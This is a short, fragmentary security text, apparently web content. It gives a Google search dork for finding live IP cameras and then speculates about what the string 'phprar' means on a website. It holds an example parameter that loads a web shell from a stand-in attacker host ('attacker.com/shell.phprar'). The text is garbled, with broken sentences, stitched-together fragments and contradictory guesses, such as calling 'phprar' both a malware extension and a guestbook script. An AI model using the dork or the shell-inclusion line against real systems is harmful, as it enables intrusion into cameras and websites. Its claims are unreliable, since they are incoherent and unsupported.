The phrase "intitle liveapplet inurl lvappl" Google Dork , a specialized search string used to find specific, often vulnerable, web-connected devices. Specifically, this dork targets live IP cameras

: Ensure IP cameras and PHP scripts are updated to the latest versions to patch known exploits. Implement Authentication

• Typo for php.rar – an archived PHP file. Attackers sometimes upload .rar files containing web shells or backdoors.
• Typo for php:// or php.rar – Unlikely.
• Part of a larger exploit string – Perhaps a vulnerable parameter like ?link=http://attacker.com/shell.phprar.
• Custom malware name – Some older remote access tools (RATs) disguised PHP files with .phprar extensions to bypass naive file upload filters.

Remove Legacy Scripts: Delete any guestbook scripts like phprar and replace them with modern, managed commenting systems (e.g., Disqus) or secure web forms that include CAPTCHA and server-side validation.

2. You may have been previously compromised

• Attackers sometimes plant “hidden” content—backlinks, web shells, or dummy guestbook entries—to mark the site for future exploitation.
• The presence of phprar in your code suggests a possible backdoor or archive file uploaded by an attacker.